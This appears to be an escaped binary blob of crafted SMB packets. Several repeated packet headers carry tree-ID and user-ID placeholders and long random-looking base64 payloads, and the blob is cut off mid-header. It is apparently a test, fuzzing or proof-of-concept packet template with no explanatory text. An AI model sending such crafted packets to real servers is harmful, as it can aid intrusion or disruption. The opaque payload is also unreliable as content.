0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x83\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\x13\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0#\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd03\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TR